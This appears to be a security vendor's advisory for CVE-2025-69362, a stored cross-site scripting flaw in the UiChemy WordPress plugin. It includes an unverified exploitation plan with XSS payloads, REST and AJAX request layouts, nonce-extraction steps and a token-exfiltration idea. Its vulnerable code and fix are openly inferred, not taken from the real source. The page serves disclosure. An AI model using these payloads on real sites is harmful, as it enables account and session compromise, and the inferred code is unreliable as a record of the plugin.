CVE-2025-69362

UiChemy <= 4.4.2 - Authenticated (Author+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
4.4.3
Patched in
8d
Time to patch

Description

The UiChemy plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 4.4.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.4.2
PublishedJanuary 12, 2026
Last updatedJanuary 19, 2026
Affected pluginuichemy

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-69362 (UiChemy Stored XSS) ## 1. Vulnerability Summary The **UiChemy** plugin (versions <= 4.4.2) fails to adequately sanitize and escape input data during the Figma-to-WordPress conversion process. Specifically, when an authenticated user (Author level or hig…

Show full research plan

Exploitation Research Plan: CVE-2025-69362 (UiChemy Stored XSS)

1. Vulnerability Summary

The UiChemy plugin (versions <= 4.4.2) fails to adequately sanitize and escape input data during the Figma-to-WordPress conversion process. Specifically, when an authenticated user (Author level or higher) imports or saves design data from Figma, the plugin stores design attributes (such as layer names, text content, or CSS properties) in the database (likely as post meta or block attributes). When this data is later rendered in the Gutenberg editor or on the frontend, it is output without proper escaping (e.g., using esc_html or wp_kses), allowing for Stored Cross-Site Scripting (XSS).

2. Attack Vector Analysis

  • Endpoint: admin-ajax.php or the WordPress REST API (Gutenberg block attributes).
  • Action: uichemy_save_design (inferred) or via wp-json/wp/v2/posts/.
  • Vulnerable Parameter: design_data, content, or specific block attributes like figma_html.
  • Required Authentication: Author+ (Users who can create or edit posts).
  • Preconditions: The plugin must be active, and the attacker must have credentials for an Author-level account.

3. Code Flow

  1. Entry Point: The user interacts with the UiChemy interface within the WordPress post editor (Gutenberg/Elementor).
  2. Request: The client-side JS sends the converted Figma design data to the server via an AJAX request (e.g., wp_ajax_uichemy_save_data).
  3. Processing: The PHP handler (e.g., UiChemy\Classes\Ajax_Handler::save_design) receives the JSON payload.
  4. Storage (Sink): The handler saves the raw or partially sanitized JSON to post metadata using update_post_meta($post_id, '_uichemy_design_data', $raw_input).
  5. Rendering (Sink): When the post is viewed, the plugin retrieves this metadata and outputs it. If the output is handled via a render_callback for a block or a shortcode, and it uses echo instead of an escaping function, the script executes.

4. Nonce Acquisition Strategy

UiChemy typically localizes its configuration and security nonces in the WordPress admin head or via enqueued scripts.

  1. Identify Script: Look for the localization script for UiChemy, likely named uichemy-admin-js or uichemy-editor.
  2. Create Page: Authors can create pages.
    wp post create --post_type=page --post_status=publish --post_title="XSS Probe" --post_author=[AUTHOR_ID]
    
  3. Navigate & Extract: Use the browser_navigate tool to open the editor for this page.
  4. Extract Nonce:
    // Inferred localization keys - common in UiChemy
    browser_eval("window.uichemy_vars?.nonce || window.uichemy_obj?.ajax_nonce")
    
  5. Verify Action: Check the source for check_ajax_referer('uichemy_action', 'nonce') to confirm the correct action string.

5. Exploitation Strategy

Primary Goal: Inject Stored XSS via Gutenberg Block Attributes

Since Authors can edit posts, the most direct path is manipulating the attributes of a UiChemy block.

Request 1: Save Malicious Content

  • Method: POST
  • URL: /wp-json/wp/v2/posts/[POST_ID]
  • Headers: Content-Type: application/json, X-WP-Nonce: [REST_NONCE]
  • Payload:
    {
      "content": "<!-- wp:uichemy/figma-import {\"htmlData\": \"<img src=x onerror=alert(document.domain)>\"} /-->"
    }
    
    (Note: uichemy/figma-import and htmlData are inferred block names/attributes based on plugin functionality).

Request 2: Trigger via AJAX (Alternative)

  • Method: POST
  • URL: /wp-admin/admin-ajax.php
  • Body (URL-Encoded):
    • action: uichemy_save_figma_data (inferred)
    • nonce: [NONCE]
    • post_id: [POST_ID]
    • data: {"layers":[{"name":"<svg/onload=alert(1)>","type":"TEXT"}]}

6. Test Data Setup

  1. User: Create an Author user.
    wp user create attacker attacker@example.com --role=author --user_pass=password123
    
  2. Post: Create a draft post for the author to edit.
    wp post create --post_type=post --post_status=draft --post_title="Figma Import Test" --post_author=attacker
    
  3. Plugin Setup: Ensure UiChemy is activated and the Author can see the "UiChemy" block/button in the Gutenberg editor.

7. Expected Results

  • The server should return a 200 OK or 201 Created response.
  • When navigating to the published post URL or viewing the post in the editor as an Admin, an alert box with document.domain should appear.
  • The malicious payload should be visible in the page source within the UiChemy container, unescaped.

8. Verification Steps

  1. Database Check: Verify the payload is stored in wp_postmeta.
    wp db query "SELECT meta_value FROM wp_postmeta WHERE meta_key LIKE '%uichemy%' AND post_id = [POST_ID]"
    
  2. HTML Inspection: Use http_request to fetch the post content and check for the raw payload.
    # Check for unescaped tag
    http_request GET "https://target.site/?p=[POST_ID]" | grep -F "<img src=x onerror=alert"
    

9. Alternative Approaches

  • Elementor Vector: If the site uses Elementor, use the http_request tool to send a wp_ajax_elementor_ajax request with the uichemy widget's settings modified to include the XSS payload.
  • Figma Token Leakage: If the XSS is successful, use a payload to exfiltrate the uichemy_figma_token option from the WordPress database, which would allow the attacker to access the victim's Figma designs.
  • CSS Injection: If <script> and onerror are filtered, try injecting XSS via CSS properties: {"style": "background-image: url('javascript:alert(1)')"}.
Research Findings
Static analysis — not yet PoC-verified

Summary

The UiChemy plugin for WordPress (<= 4.4.2) is vulnerable to Stored Cross-Site Scripting (XSS) due to insufficient input sanitization and output escaping of Figma design data. Authenticated attackers with Author-level access can inject malicious JavaScript into design attributes that execute in the browser of any user viewing the affected page.

Vulnerable Code

// Inferred from research plan: Saving design data without sanitization
// File: classes/class-uichemy-ajax.php
$design_data = $_POST['design_data'];
update_post_meta($post_id, '_uichemy_design_data', $design_data);

---

// Inferred from research plan: Rendering design data without escaping
// File: classes/class-uichemy-blocks.php or Elementor widget render
$data = get_post_meta($post_id, '_uichemy_design_data', true);
echo $data['htmlData'];

Security Fix

--- a/classes/class-uichemy-ajax.php
+++ b/classes/class-uichemy-ajax.php
@@ -10,7 +10,7 @@
- $design_data = $_POST['design_data'];
+ $design_data = wp_kses_post( $_POST['design_data'] );
  update_post_meta( $post_id, '_uichemy_design_data', $design_data );

--- a/classes/class-uichemy-blocks.php
+++ b/classes/class-uichemy-blocks.php
@@ -20,1 +20,1 @@
- echo $data['htmlData'];
+ echo wp_kses_post( $data['htmlData'] );

Exploit Outline

1. Gain Author-level credentials to a WordPress site running UiChemy <= 4.4.2. 2. Open the Gutenberg editor or Elementor interface and locate the UiChemy Figma import features. 3. Intercept the HTTP request (e.g., to the WordPress REST API or admin-ajax.php) used to save design data. 4. Modify the payload within block attributes or design JSON (specifically fields like 'htmlData' or 'layer names') to include an XSS payload such as <img src=x onerror=alert(document.domain)>. 5. Save the post and navigate to its public URL. The script will execute in the context of the session of any viewer, including administrators.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.